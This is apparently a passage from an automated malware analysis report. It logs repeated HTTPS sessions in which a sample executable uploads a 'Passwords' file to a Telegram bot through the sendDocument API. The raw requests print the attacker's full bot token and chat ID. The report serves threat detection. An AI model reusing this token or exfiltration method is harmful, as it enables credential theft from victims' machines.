2025-01-10 18:56:35 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 33 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44606,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535395,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49984	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:36 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31bbc6a3946a Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:36 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 62 63 36 61 33 39 34 36 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31bbc6a3946aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:37 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:37 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 33 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44607,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535397,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49986	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:39 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31d345a4d69d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:56:39 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 33 34 35 61 34 64 36 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31d345a4d69dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:39 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:39 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 33 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44608,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535399,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49988	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:40 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e7ef48443f Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:40 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 37 65 66 34 38 34 34 33 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e7ef48443fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:41 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:41 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44609,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535401,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49990	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:42 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31fb2850ffee Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:56:42 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 62 32 38 35 30 66 66 65 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31fb2850ffeeContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:43 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:43 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 30 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44610,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535403,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49992	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:44 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd320cf48f9ec6 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:44 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 63 66 34 38 66 39 65 63 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd320cf48f9ec6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:44 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:44 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44611,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535404,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49994	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:46 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd322011935a6c Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:46 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 32 30 31 31 39 33 35 61 36 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd322011935a6cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:46 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:46 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44612,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535406,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49996	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:47 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32332070e6db Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:47 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 33 32 30 37 30 65 36 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32332070e6dbContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:48 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:48 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 30 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44613,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535408,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49998	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:49 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd324620a0f79f Host: api.telegram.org Content-Length: 1090
